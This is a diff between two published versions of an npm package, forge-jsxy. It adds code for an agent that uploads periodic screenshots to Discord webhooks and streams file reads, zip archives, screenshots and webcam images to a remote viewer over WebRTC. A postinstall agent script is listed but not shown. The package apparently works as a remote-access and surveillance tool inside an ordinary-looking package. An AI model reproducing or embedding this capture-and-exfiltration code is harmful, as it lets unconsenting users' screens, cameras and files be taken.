forge-jsxy 1.0.78 → 1.0.80
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +965 -201
- package/assets/remote-control-template.html +1828 -409
- package/dist/assets/files-explorer-template.html +966 -202
- package/dist/assets/remote-control-template.html +1828 -409
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +14 -7
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +16 -1
- package/dist/fsProtocol.js +368 -86
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +246 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +206 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
package/dist/cli-relay.js
CHANGED
|
@@ -28,6 +28,9 @@ function parseArgs(argv) {
|
|
|
28
28
|
` RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
|
|
29
29
|
` RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
|
|
30
30
|
` Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
|
|
31
|
+
` WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
|
|
32
|
+
` default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
|
|
33
|
+
` RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
|
|
31
34
|
` RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
|
|
32
35
|
process.exit(0);
|
|
33
36
|
}
|
|
@@ -73,6 +73,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
|
|
|
73
73
|
* Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
|
|
74
74
|
* `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
|
|
75
75
|
* Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
|
|
76
|
+
* **`FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY`** — when `1` (default), shrink toward max clarity within webhook byte cap (`FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES`); set `0` for faster/smaller JPEG encodes.
|
|
76
77
|
*/
|
|
77
78
|
const node_crypto_1 = require("node:crypto");
|
|
78
79
|
const discordBotTokens_1 = require("./discordBotTokens");
|
|
@@ -143,7 +144,7 @@ function discordUploadMode() {
|
|
|
143
144
|
}
|
|
144
145
|
/**
|
|
145
146
|
* Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
|
|
146
|
-
* (default **
|
|
147
|
+
* (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
|
|
147
148
|
*/
|
|
148
149
|
function discordWebhookTicketFlowMaxAttempts() {
|
|
149
150
|
const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
|
|
@@ -258,6 +259,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
258
259
|
};
|
|
259
260
|
const flushUploadRelay = (b64) => {
|
|
260
261
|
const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
|
|
262
|
+
/** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
|
|
261
263
|
let payload = b64;
|
|
262
264
|
void (async () => {
|
|
263
265
|
try {
|
|
@@ -293,7 +295,8 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
293
295
|
})();
|
|
294
296
|
};
|
|
295
297
|
const flushUploadWebhook = (b64) => {
|
|
296
|
-
|
|
298
|
+
/** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
|
|
299
|
+
let screenshotB64ForFallback = b64;
|
|
297
300
|
let rawB64 = b64;
|
|
298
301
|
void (async () => {
|
|
299
302
|
let png;
|
|
@@ -304,6 +307,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
304
307
|
if (!opts.quiet) {
|
|
305
308
|
console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
|
|
306
309
|
}
|
|
310
|
+
screenshotB64ForFallback = "";
|
|
307
311
|
rawB64 = "";
|
|
308
312
|
uploadBusy = false;
|
|
309
313
|
if (!stopped && pendingB64Queue.length > 0)
|
|
@@ -320,8 +324,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
320
324
|
}
|
|
321
325
|
// Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
|
|
322
326
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
323
|
-
await relayFallbackUploadWithRetry(
|
|
327
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
|
|
324
328
|
}
|
|
329
|
+
screenshotB64ForFallback = "";
|
|
325
330
|
try {
|
|
326
331
|
png.fill(0);
|
|
327
332
|
}
|
|
@@ -365,7 +370,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
365
370
|
console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
|
|
366
371
|
}
|
|
367
372
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
368
|
-
await relayFallbackUploadWithRetry(
|
|
373
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
|
|
369
374
|
}
|
|
370
375
|
return;
|
|
371
376
|
}
|
|
@@ -395,7 +400,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
395
400
|
console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
|
|
396
401
|
}
|
|
397
402
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
398
|
-
await relayFallbackUploadWithRetry(
|
|
403
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
|
|
399
404
|
}
|
|
400
405
|
return;
|
|
401
406
|
}
|
|
@@ -403,7 +408,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
403
408
|
console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
|
|
404
409
|
}
|
|
405
410
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
406
|
-
await relayFallbackUploadWithRetry(
|
|
411
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
|
|
407
412
|
}
|
|
408
413
|
}
|
|
409
414
|
catch (e) {
|
|
@@ -411,10 +416,12 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
411
416
|
console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
|
|
412
417
|
}
|
|
413
418
|
if (discordWebhookRelayFallbackEnabled()) {
|
|
414
|
-
await relayFallbackUploadWithRetry(
|
|
419
|
+
await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
|
|
415
420
|
}
|
|
416
421
|
}
|
|
417
422
|
finally {
|
|
423
|
+
screenshotB64ForFallback = "";
|
|
424
|
+
rawB64 = "";
|
|
418
425
|
if (png && png.length > 0) {
|
|
419
426
|
try {
|
|
420
427
|
png.fill(0);
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.
|
|
3
|
+
*
|
|
4
|
+
* **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
|
|
5
|
+
* **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
|
|
6
|
+
* last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
|
|
7
|
+
*
|
|
8
|
+
* Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
|
|
9
|
+
* Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
|
|
10
|
+
*
|
|
11
|
+
* **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
|
|
12
|
+
* resets — otherwise the next hdr could be mis-parsed while mid-chunk.
|
|
13
|
+
*/
|
|
14
|
+
export declare const FORGE_BULK_MAGIC_KEY = "_fb";
|
|
15
|
+
export declare const FORGE_BULK_MAGIC_VAL = "hdr";
|
|
16
|
+
/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
|
|
17
|
+
export declare const FORGE_BULK_ABORT_VAL = "abort";
|
|
18
|
+
/** Legacy single-binary framing (still accepted by viewers). */
|
|
19
|
+
export declare const FORGE_BULK_VERSION_V1 = 1;
|
|
20
|
+
/** Chunked binary framing (agent send path). */
|
|
21
|
+
export declare const FORGE_BULK_VERSION = 2;
|
|
22
|
+
/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
|
|
23
|
+
export declare const FORGE_BULK_MAX_BODY_BYTES: number;
|
|
24
|
+
/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
|
|
25
|
+
export declare const FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES: number;
|
|
26
|
+
/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
|
|
27
|
+
export declare const FORGE_BULK_V2_MAX_CHUNK_SZ: number;
|
|
28
|
+
/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
|
|
29
|
+
export declare const FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
|
|
30
|
+
export type ForgeBulkDc = {
|
|
31
|
+
isOpen: () => boolean;
|
|
32
|
+
sendMessage: (s: string) => boolean;
|
|
33
|
+
sendMessageBinary: (b: Uint8Array) => boolean;
|
|
34
|
+
};
|
|
35
|
+
export type ForgeBulkPushResult = {
|
|
36
|
+
status: "pending";
|
|
37
|
+
} | {
|
|
38
|
+
status: "complete";
|
|
39
|
+
msg: Record<string, unknown>;
|
|
40
|
+
} | {
|
|
41
|
+
status: "error";
|
|
42
|
+
};
|
|
43
|
+
export declare function forgeBulkAbortWireJson(): string;
|
|
44
|
+
/**
|
|
45
|
+
* Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
|
|
46
|
+
*/
|
|
47
|
+
export declare class ForgeBulkInboundAssembler {
|
|
48
|
+
private mode;
|
|
49
|
+
private hdr;
|
|
50
|
+
private byteLen;
|
|
51
|
+
private chunkSz;
|
|
52
|
+
private buf;
|
|
53
|
+
private filled;
|
|
54
|
+
reset(): void;
|
|
55
|
+
pushJson(text: string): ForgeBulkPushResult;
|
|
56
|
+
pushBinary(data: Uint8Array): ForgeBulkPushResult;
|
|
57
|
+
}
|
|
58
|
+
/**
|
|
59
|
+
* Send one v2 bulk transfer: JSON hdr (includes `byte_len`, `chunk_sz`) then chunked raw body.
|
|
60
|
+
*/
|
|
61
|
+
export declare function forgeBulkAgentSendV2FromDecoded(dc: ForgeBulkDc, hdr: Record<string, unknown>, raw: Buffer): boolean;
|
|
62
|
+
export declare function forgeBulkAgentTrySend(dc: ForgeBulkDc | null | undefined, resp: Record<string, unknown>): boolean;
|
|
63
|
+
/** Second v2 transfer after `fs_screenshot_result` — camera JPEG/PNG bytes only (dashboard overlay). */
|
|
64
|
+
export declare function forgeBulkAgentTrySendScreenshotCameraSidecar(dc: ForgeBulkDc | null | undefined, opts: {
|
|
65
|
+
request_id: unknown;
|
|
66
|
+
camera_mime?: unknown;
|
|
67
|
+
camera_width_percent?: unknown;
|
|
68
|
+
camera_available?: unknown;
|
|
69
|
+
}, cameraB64: string): boolean;
|
|
@@ -0,0 +1,308 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.
|
|
4
|
+
*
|
|
5
|
+
* **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
|
|
6
|
+
* **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
|
|
7
|
+
* last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
|
|
8
|
+
*
|
|
9
|
+
* Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
|
|
10
|
+
* Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
|
|
11
|
+
*
|
|
12
|
+
* **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
|
|
13
|
+
* resets — otherwise the next hdr could be mis-parsed while mid-chunk.
|
|
14
|
+
*/
|
|
15
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
16
|
+
exports.ForgeBulkInboundAssembler = exports.FORGE_BULK_V2_MIN_CHUNK_SZ = exports.FORGE_BULK_V2_MAX_CHUNK_SZ = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = exports.FORGE_BULK_MAX_BODY_BYTES = exports.FORGE_BULK_VERSION = exports.FORGE_BULK_VERSION_V1 = exports.FORGE_BULK_ABORT_VAL = exports.FORGE_BULK_MAGIC_VAL = exports.FORGE_BULK_MAGIC_KEY = void 0;
|
|
17
|
+
exports.forgeBulkAbortWireJson = forgeBulkAbortWireJson;
|
|
18
|
+
exports.forgeBulkAgentSendV2FromDecoded = forgeBulkAgentSendV2FromDecoded;
|
|
19
|
+
exports.forgeBulkAgentTrySend = forgeBulkAgentTrySend;
|
|
20
|
+
exports.forgeBulkAgentTrySendScreenshotCameraSidecar = forgeBulkAgentTrySendScreenshotCameraSidecar;
|
|
21
|
+
const fsProtocol_1 = require("./fsProtocol");
|
|
22
|
+
exports.FORGE_BULK_MAGIC_KEY = "_fb";
|
|
23
|
+
exports.FORGE_BULK_MAGIC_VAL = "hdr";
|
|
24
|
+
/** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
|
|
25
|
+
exports.FORGE_BULK_ABORT_VAL = "abort";
|
|
26
|
+
/** Legacy single-binary framing (still accepted by viewers). */
|
|
27
|
+
exports.FORGE_BULK_VERSION_V1 = 1;
|
|
28
|
+
/** Chunked binary framing (agent send path). */
|
|
29
|
+
exports.FORGE_BULK_VERSION = 2;
|
|
30
|
+
/** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
|
|
31
|
+
exports.FORGE_BULK_MAX_BODY_BYTES = fsProtocol_1.MAX_READ_BYTES * 4;
|
|
32
|
+
/** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
|
|
33
|
+
exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = 56 * 1024;
|
|
34
|
+
/** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
|
|
35
|
+
exports.FORGE_BULK_V2_MAX_CHUNK_SZ = 256 * 1024;
|
|
36
|
+
/** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
|
|
37
|
+
exports.FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
|
|
38
|
+
const HDR_STR_MAX = 24576;
|
|
39
|
+
function stripBulkHdrFields(hdr) {
|
|
40
|
+
const msg = {};
|
|
41
|
+
for (const k of Object.keys(hdr)) {
|
|
42
|
+
if (k === exports.FORGE_BULK_MAGIC_KEY || k === "v" || k === "byte_len" || k === "chunk_sz")
|
|
43
|
+
continue;
|
|
44
|
+
msg[k] = hdr[k];
|
|
45
|
+
}
|
|
46
|
+
return msg;
|
|
47
|
+
}
|
|
48
|
+
function bytesToB64(buf) {
|
|
49
|
+
return Buffer.from(buf).toString("base64");
|
|
50
|
+
}
|
|
51
|
+
function forgeBulkAbortWireJson() {
|
|
52
|
+
return JSON.stringify({
|
|
53
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_ABORT_VAL,
|
|
54
|
+
v: exports.FORGE_BULK_VERSION,
|
|
55
|
+
});
|
|
56
|
+
}
|
|
57
|
+
function trySendBulkAbort(dc) {
|
|
58
|
+
try {
|
|
59
|
+
if (dc.isOpen())
|
|
60
|
+
dc.sendMessage(forgeBulkAbortWireJson());
|
|
61
|
+
}
|
|
62
|
+
catch {
|
|
63
|
+
/* skip */
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
/**
|
|
67
|
+
* Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
|
|
68
|
+
*/
|
|
69
|
+
class ForgeBulkInboundAssembler {
|
|
70
|
+
mode = "hdr";
|
|
71
|
+
hdr = null;
|
|
72
|
+
byteLen = 0;
|
|
73
|
+
chunkSz = 0;
|
|
74
|
+
buf = null;
|
|
75
|
+
filled = 0;
|
|
76
|
+
reset() {
|
|
77
|
+
this.mode = "hdr";
|
|
78
|
+
this.hdr = null;
|
|
79
|
+
this.byteLen = 0;
|
|
80
|
+
this.chunkSz = 0;
|
|
81
|
+
this.buf = null;
|
|
82
|
+
this.filled = 0;
|
|
83
|
+
}
|
|
84
|
+
pushJson(text) {
|
|
85
|
+
let j;
|
|
86
|
+
try {
|
|
87
|
+
j = JSON.parse(text);
|
|
88
|
+
}
|
|
89
|
+
catch {
|
|
90
|
+
this.reset();
|
|
91
|
+
return { status: "error" };
|
|
92
|
+
}
|
|
93
|
+
const magic = j && j[exports.FORGE_BULK_MAGIC_KEY];
|
|
94
|
+
if (magic === exports.FORGE_BULK_ABORT_VAL) {
|
|
95
|
+
this.reset();
|
|
96
|
+
return { status: "error" };
|
|
97
|
+
}
|
|
98
|
+
if (this.mode !== "hdr") {
|
|
99
|
+
if (magic === exports.FORGE_BULK_MAGIC_VAL) {
|
|
100
|
+
this.reset();
|
|
101
|
+
}
|
|
102
|
+
else {
|
|
103
|
+
this.reset();
|
|
104
|
+
return { status: "error" };
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
if (!j || magic !== exports.FORGE_BULK_MAGIC_VAL) {
|
|
108
|
+
this.reset();
|
|
109
|
+
return { status: "error" };
|
|
110
|
+
}
|
|
111
|
+
const ver = Number(j.v);
|
|
112
|
+
if (ver !== exports.FORGE_BULK_VERSION_V1 && ver !== exports.FORGE_BULK_VERSION) {
|
|
113
|
+
this.reset();
|
|
114
|
+
return { status: "error" };
|
|
115
|
+
}
|
|
116
|
+
const bl = Number(j.byte_len);
|
|
117
|
+
if (!Number.isFinite(bl) || bl < 0 || bl > exports.FORGE_BULK_MAX_BODY_BYTES || Math.floor(bl) !== bl) {
|
|
118
|
+
this.reset();
|
|
119
|
+
return { status: "error" };
|
|
120
|
+
}
|
|
121
|
+
const byteLen = bl | 0;
|
|
122
|
+
this.hdr = j;
|
|
123
|
+
this.byteLen = byteLen;
|
|
124
|
+
if (byteLen === 0) {
|
|
125
|
+
const msg = stripBulkHdrFields(j);
|
|
126
|
+
msg.b64 = "";
|
|
127
|
+
this.reset();
|
|
128
|
+
return { status: "complete", msg };
|
|
129
|
+
}
|
|
130
|
+
if (ver === exports.FORGE_BULK_VERSION_V1) {
|
|
131
|
+
this.mode = "v1wait";
|
|
132
|
+
return { status: "pending" };
|
|
133
|
+
}
|
|
134
|
+
let cs = Number(j.chunk_sz);
|
|
135
|
+
if (!Number.isFinite(cs) ||
|
|
136
|
+
cs < exports.FORGE_BULK_V2_MIN_CHUNK_SZ ||
|
|
137
|
+
cs > exports.FORGE_BULK_V2_MAX_CHUNK_SZ ||
|
|
138
|
+
Math.floor(cs) !== cs) {
|
|
139
|
+
this.reset();
|
|
140
|
+
return { status: "error" };
|
|
141
|
+
}
|
|
142
|
+
this.chunkSz = cs | 0;
|
|
143
|
+
try {
|
|
144
|
+
this.buf = new Uint8Array(byteLen);
|
|
145
|
+
}
|
|
146
|
+
catch {
|
|
147
|
+
this.reset();
|
|
148
|
+
return { status: "error" };
|
|
149
|
+
}
|
|
150
|
+
this.filled = 0;
|
|
151
|
+
this.mode = "v2fill";
|
|
152
|
+
return { status: "pending" };
|
|
153
|
+
}
|
|
154
|
+
pushBinary(data) {
|
|
155
|
+
if (this.mode === "hdr") {
|
|
156
|
+
this.reset();
|
|
157
|
+
return { status: "error" };
|
|
158
|
+
}
|
|
159
|
+
if (!this.hdr || data.length <= 0) {
|
|
160
|
+
this.reset();
|
|
161
|
+
return { status: "error" };
|
|
162
|
+
}
|
|
163
|
+
if (this.mode === "v1wait") {
|
|
164
|
+
if (data.length !== this.byteLen) {
|
|
165
|
+
this.reset();
|
|
166
|
+
return { status: "error" };
|
|
167
|
+
}
|
|
168
|
+
const msg = stripBulkHdrFields(this.hdr);
|
|
169
|
+
msg.b64 = bytesToB64(data);
|
|
170
|
+
this.reset();
|
|
171
|
+
return { status: "complete", msg };
|
|
172
|
+
}
|
|
173
|
+
if (this.mode === "v2fill") {
|
|
174
|
+
const buf = this.buf;
|
|
175
|
+
if (!buf) {
|
|
176
|
+
this.reset();
|
|
177
|
+
return { status: "error" };
|
|
178
|
+
}
|
|
179
|
+
const rem = this.byteLen - this.filled;
|
|
180
|
+
if (data.length > rem) {
|
|
181
|
+
this.reset();
|
|
182
|
+
return { status: "error" };
|
|
183
|
+
}
|
|
184
|
+
if (rem > this.chunkSz) {
|
|
185
|
+
if (data.length !== this.chunkSz) {
|
|
186
|
+
this.reset();
|
|
187
|
+
return { status: "error" };
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
else if (data.length !== rem) {
|
|
191
|
+
this.reset();
|
|
192
|
+
return { status: "error" };
|
|
193
|
+
}
|
|
194
|
+
buf.set(data, this.filled);
|
|
195
|
+
this.filled += data.length;
|
|
196
|
+
if (this.filled === this.byteLen) {
|
|
197
|
+
const msg = stripBulkHdrFields(this.hdr);
|
|
198
|
+
msg.b64 = bytesToB64(buf);
|
|
199
|
+
this.reset();
|
|
200
|
+
return { status: "complete", msg };
|
|
201
|
+
}
|
|
202
|
+
return { status: "pending" };
|
|
203
|
+
}
|
|
204
|
+
this.reset();
|
|
205
|
+
return { status: "error" };
|
|
206
|
+
}
|
|
207
|
+
}
|
|
208
|
+
exports.ForgeBulkInboundAssembler = ForgeBulkInboundAssembler;
|
|
209
|
+
/**
|
|
210
|
+
* Send one v2 bulk transfer: JSON hdr (includes `byte_len`, `chunk_sz`) then chunked raw body.
|
|
211
|
+
*/
|
|
212
|
+
function forgeBulkAgentSendV2FromDecoded(dc, hdr, raw) {
|
|
213
|
+
if (!dc.isOpen())
|
|
214
|
+
return false;
|
|
215
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
216
|
+
let hdrStr;
|
|
217
|
+
try {
|
|
218
|
+
hdrStr = JSON.stringify(hdr);
|
|
219
|
+
}
|
|
220
|
+
catch {
|
|
221
|
+
return false;
|
|
222
|
+
}
|
|
223
|
+
if (hdrStr.length > HDR_STR_MAX)
|
|
224
|
+
return false;
|
|
225
|
+
let hdrCommitted = false;
|
|
226
|
+
try {
|
|
227
|
+
if (!dc.sendMessage(hdrStr))
|
|
228
|
+
return false;
|
|
229
|
+
hdrCommitted = true;
|
|
230
|
+
for (let off = 0; off < raw.length; off += chunkSz) {
|
|
231
|
+
const slice = raw.subarray(off, Math.min(off + chunkSz, raw.length));
|
|
232
|
+
if (!dc.sendMessageBinary(new Uint8Array(slice))) {
|
|
233
|
+
trySendBulkAbort(dc);
|
|
234
|
+
return false;
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
return true;
|
|
238
|
+
}
|
|
239
|
+
catch {
|
|
240
|
+
if (hdrCommitted)
|
|
241
|
+
trySendBulkAbort(dc);
|
|
242
|
+
return false;
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
function forgeBulkAgentTrySend(dc, resp) {
|
|
246
|
+
if (!dc?.isOpen())
|
|
247
|
+
return false;
|
|
248
|
+
const ty = String(resp.type ?? "");
|
|
249
|
+
if (ty !== "fs_read_result" && ty !== "fs_zip_result" && ty !== "fs_screenshot_result")
|
|
250
|
+
return false;
|
|
251
|
+
const b64 = resp.b64;
|
|
252
|
+
if (typeof b64 !== "string" || b64.length === 0)
|
|
253
|
+
return false;
|
|
254
|
+
let raw;
|
|
255
|
+
try {
|
|
256
|
+
raw = Buffer.from(b64, "base64");
|
|
257
|
+
}
|
|
258
|
+
catch {
|
|
259
|
+
return false;
|
|
260
|
+
}
|
|
261
|
+
if (raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
|
|
262
|
+
return false;
|
|
263
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
264
|
+
const hdr = {
|
|
265
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
|
|
266
|
+
v: exports.FORGE_BULK_VERSION,
|
|
267
|
+
byte_len: raw.length,
|
|
268
|
+
chunk_sz: chunkSz,
|
|
269
|
+
};
|
|
270
|
+
for (const [k, v] of Object.entries(resp)) {
|
|
271
|
+
if (k === "b64")
|
|
272
|
+
continue;
|
|
273
|
+
/** Never embed auxiliary frames in the JSON hdr — size cap + screenshot overlay uses separate bulk transfer. */
|
|
274
|
+
if (ty === "fs_screenshot_result" && k === "camera_b64")
|
|
275
|
+
continue;
|
|
276
|
+
hdr[k] = v;
|
|
277
|
+
}
|
|
278
|
+
return forgeBulkAgentSendV2FromDecoded(dc, hdr, raw);
|
|
279
|
+
}
|
|
280
|
+
/** Second v2 transfer after `fs_screenshot_result` — camera JPEG/PNG bytes only (dashboard overlay). */
|
|
281
|
+
function forgeBulkAgentTrySendScreenshotCameraSidecar(dc, opts, cameraB64) {
|
|
282
|
+
if (!dc?.isOpen())
|
|
283
|
+
return false;
|
|
284
|
+
let raw;
|
|
285
|
+
try {
|
|
286
|
+
raw = Buffer.from(cameraB64, "base64");
|
|
287
|
+
}
|
|
288
|
+
catch {
|
|
289
|
+
return false;
|
|
290
|
+
}
|
|
291
|
+
if (raw.length === 0 || raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
|
|
292
|
+
return false;
|
|
293
|
+
const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
|
|
294
|
+
const hdr = {
|
|
295
|
+
[exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
|
|
296
|
+
v: exports.FORGE_BULK_VERSION,
|
|
297
|
+
byte_len: raw.length,
|
|
298
|
+
chunk_sz: chunkSz,
|
|
299
|
+
type: "fs_screenshot_sidecar_result",
|
|
300
|
+
sidecar: "camera",
|
|
301
|
+
ok: true,
|
|
302
|
+
request_id: opts.request_id,
|
|
303
|
+
camera_mime: opts.camera_mime ?? "image/jpeg",
|
|
304
|
+
camera_width_percent: opts.camera_width_percent,
|
|
305
|
+
camera_available: opts.camera_available,
|
|
306
|
+
};
|
|
307
|
+
return forgeBulkAgentSendV2FromDecoded(dc, hdr, raw);
|
|
308
|
+
}
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
export declare function forgeWebRtcP2PEnabled(): boolean;
|
|
2
|
+
export declare function agentOutboundPreferRtcDc(msgType: string): boolean;
|
|
3
|
+
export declare function rtcIceServersForNodeDc(raw: unknown[] | null | undefined): string[];
|
|
4
|
+
export type ForgeRtcSignalingSend = (msg: Record<string, unknown>) => void;
|
|
5
|
+
type PeerConnCtor = typeof import("node-datachannel").PeerConnection;
|
|
6
|
+
export type DataChannelApi = {
|
|
7
|
+
sendMessage: (s: string) => boolean;
|
|
8
|
+
sendMessageBinary?: (b: Uint8Array) => boolean;
|
|
9
|
+
isOpen: () => boolean;
|
|
10
|
+
};
|
|
11
|
+
export interface ForgeRtcAgentSessionOptions {
|
|
12
|
+
PeerConnection: PeerConnCtor;
|
|
13
|
+
sdp: string;
|
|
14
|
+
sdpType: string;
|
|
15
|
+
iceServers: string[];
|
|
16
|
+
sendSignaling: ForgeRtcSignalingSend;
|
|
17
|
+
/** `main` = `forge-rc`; `input` = optional `forge-rc-input`; `bulk` = ordered `forge-bulk` (large fs payloads). */
|
|
18
|
+
setOutboundDc: (which: "main" | "input" | "bulk", dc: DataChannelApi | null) => void;
|
|
19
|
+
onInboundDcText: (text: string) => void;
|
|
20
|
+
onFatal: () => void;
|
|
21
|
+
quiet: boolean;
|
|
22
|
+
}
|
|
23
|
+
export declare class ForgeRtcAgentSession {
|
|
24
|
+
private readonly pc;
|
|
25
|
+
private destroyed;
|
|
26
|
+
constructor(opts: ForgeRtcAgentSessionOptions);
|
|
27
|
+
addRemoteIce(candidate: string, mid: string): void;
|
|
28
|
+
close(): void;
|
|
29
|
+
}
|
|
30
|
+
export declare function loadNodeDcPeerConnection(): PeerConnCtor | null;
|
|
31
|
+
export {};
|